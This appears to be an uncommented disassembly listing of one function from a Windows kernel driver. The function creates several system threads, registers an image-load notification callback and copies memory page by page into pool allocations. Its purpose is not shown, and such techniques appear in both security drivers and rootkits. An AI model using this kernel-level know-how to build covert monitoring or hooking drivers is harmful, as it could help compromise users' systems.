mov eax, dword [esi + 8]
mov eax, dword [eax + 0x74]
mov dword [0x41d024], eax
mov eax, dword [esi + 8]
add eax, 0x70
lea ecx, [eax + 4]
mov dword [0x41d014], eax
mov dword [0x41d018], ecx
mov esi, dword [esi + 8]
add esi, 0x74
mov dword [0x41d01c], esi
add esi, 4
cmp byte [ebp + 0x53], 1
mov dword [0x41d020], esi
jne 0x4024e5
cmp dword [ebp + 0x48], ebx
je 0x4024e5
push dword [ebp + 0x48]
call sub.ntoskrnl.exe_RtlImageNtHeader
mov eax, dword [0x41d014]
mov ecx, dword [ebp + 0x78]
cmp dword [ecx + 0xc], ebx
jne 0x40265c
cmp dword [ebp + 0x7c], ebx
jne 0x40265c
mov edi, dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
push ebx
push 0x4011a0
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x4c]
push eax
call edi
cmp dword [ebp + 0x4c], ebx
je 0x402538
push ebx
push 0x41cda4
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x4c]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
jne 0x402558
push dword [ebp + 0x4c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [0x41cda4]
cmp eax, ebx
je 0x40255e
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
mov ecx, dword [0x41cda4]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov dword [0x41cda4], ebx
cmp dword [0x41d028], ebx
je 0x4014e3
mov eax, dword [0x41d014]
jmp 0x40266e
mov eax, dword [ebp + 0x60]
imul edi, edi, 0x44
mov ecx, dword [edi + eax + 0x34]
mov eax, dword [0x41d044]
lea esi, [ecx + eax - 1]
dec eax
not eax
push 0x67676767
and esi, eax
push esi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebx
mov dword [0x41d078], eax
je 0x402925
mov eax, dword [ebp + 0x60]
add eax, edi
mov ecx, dword [eax + 0x34]
mov edi, esi
and esi, 0xfff
mov dword [0x41d07c], ecx
mov eax, dword [eax + 0x2c]
shr edi, 0xc
mov dword [ebp + 0x64], esi
xor esi, esi
cmp edi, ebx
mov dword [ebp + 0x6c], eax
jle 0x40260c
mov dword [ebp + 0x68], ebx
mov eax, dword [ebp + 0x68]
mov ecx, dword [0x41d078]
push 0x12345678
add ecx, eax
push ecx
push 0x1000
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f47
add dword [ebp + 0x6c], 8
add dword [ebp + 0x68], 0x1000
inc esi
dec edi
cmp edi, ebx
jg 0x4025d1
cmp dword [ebp + 0x64], ebx
je 0x402637
push 0x12345678
shl esi, 0xc
add esi, dword [0x41d078]
push esi
push dword [ebp + 0x64]
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x54]
call fcn.00402e8d
test al, al
je 0x401f3d
push 0x41d098
push dword [0x41d07c]
push dword [0x41d078]
call fcn.00402945
jmp 0x4023fe
mov eax, 0xc0000429
jmp 0x402935
cmp dword [0x41d028], ebx
je 0x4014e3
mov edi, dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
push ebx
push eax
call fcn.00404959
mov esi, dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
push ebx
mov eax, 0x41cdd0
push 1
push 0x41cfd0
mov dword [0x41cdd4], eax
mov dword [0x41cdd0], eax
mov dword [0x41cfc8], ebx
mov dword [0x41cf48], ebx
call esi
push ebx
mov eax, 0x41cf40
push 1
push 0x41cda8
mov dword [0x41cf44], eax
mov dword [0x41cf40], eax
mov dword [0x41cf64], ebx
mov dword [0x41cdc0], ebx
call esi
push ebx
push 0x405e7a
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x34]
push eax
mov dword [ebp + 0x34], ebx
call edi
cmp dword [ebp + 0x34], ebx
je 0x402708
push ebx
push 0x41cdc8
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x34]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
je 0x4026ff
mov dword [0x41cdc8], ebx
jmp 0x402708
push dword [ebp + 0x34]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 0x41cd98
push 0x4071e9
mov dword [0x41cd9c], eax
mov dword [0x41cd98], eax
mov dword [0x41cfe0], ebx
call dword [sym.imp.ntoskrnl.exe_PsSetLoadImageNotifyRoutine]
push ebx
push 1
push 0x41cf68
mov dword [ebp + 0x30], ebx
call esi
push ebx
push 0x408008
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x30]
push eax
call edi
cmp dword [ebp + 0x30], ebx
je 0x402775
push ebx
push 0x41cdd8
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x30]
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
je 0x40276c
mov dword [0x41cdd8], ebx
jmp 0x402775
push dword [ebp + 0x30]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [ebp + 0x78]
cmp dword [eax + 0xc], ebx
je 0x4027a6
cmp dword [ebp + 0x7c], ebx
je 0x4027a6
or dword [ebp + 0x28], 0xffffffff
lea eax, [ebp + 0x24]
push eax
push ebx
push ebx
mov dword [ebp + 0x24], 0xfe363c80
call dword [sym.imp.ntoskrnl.exe_KeDelayExecutionThread]
push ebx
push ebx
push 0x41cf68
call dword [sym.imp.ntoskrnl.exe_KeSetEvent]
push ebx
push 1
push 0x41cf50
call esi
push ebx
push 1
push 0x41cde4
call esi
push ebx
push 0x4070de
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x38]
push eax
mov dword [0x41ce30], ebx
mov dword [ebp + 0x38], ebx
call edi
cmp dword [ebp + 0x38], ebx
mov esi, dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
je 0x402805
push ebx
push 0x41cddc
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x38]
call esi
test eax, eax
je 0x4027fc
mov dword [0x41cddc], ebx
jmp 0x402805
push dword [ebp + 0x38]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [0x41d730], ebx
jne 0x4028de
push ebx
push 0x4061a3
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x7c]
push eax
mov dword [ebp + 0x7c], ebx
call edi
cmp dword [ebp + 0x7c], ebx
je 0x402850
push ebx
push 0x41cf88
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x7c]
call esi
test eax, eax
je 0x402847
mov dword [0x41cf88], ebx
jmp 0x402850
push dword [ebp + 0x7c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [0x41d730], ebx
jne 0x4028de
push ebx
push 0x407ceb
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x7c]
push eax
mov dword [ebp + 0x7c], ebx
call edi
cmp dword [ebp + 0x7c], ebx
je 0x40289b
push ebx
push 0x41cfcc
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x7c]
call esi
test eax, eax
je 0x402892
mov dword [0x41cfcc], ebx
jmp 0x40289b
push dword [ebp + 0x7c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push 0x41d2c0
push 0x407121
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp + 0x48]
push eax
mov dword [ebp + 0x48], ebx
call edi
cmp dword [ebp + 0x48], ebx
je 0x4028de
push ebx
push 0x41cda0
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x48]
call esi
test eax, eax
je 0x4028d5
mov dword [0x41cda0], ebx
jmp 0x4028de
push dword [ebp + 0x48]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp byte [ebp + 0x53], 1
jne 0x402925
push dword [ebp + 0x78]
lea eax, [ebp + 0x7c]
push 0x405b45
push ebx
push ebx
push ebx
push ebx
push eax
mov dword [ebp + 0x7c], ebx
call edi
cmp dword [ebp + 0x7c], ebx
je 0x402925
push ebx
push 0x41cf60
push ebx
push ebx
push 0x1fffff
push dword [ebp + 0x7c]
call esi
test eax, eax
je 0x40291c
mov dword [0x41cf60], ebx
jmp 0x402925
push dword [ebp + 0x7c]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
jmp 0x402935
mov eax, 0xc000013e
jmp 0x402935
mov eax, 0xc0000141
lea esp, [ebp - 0x144]
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8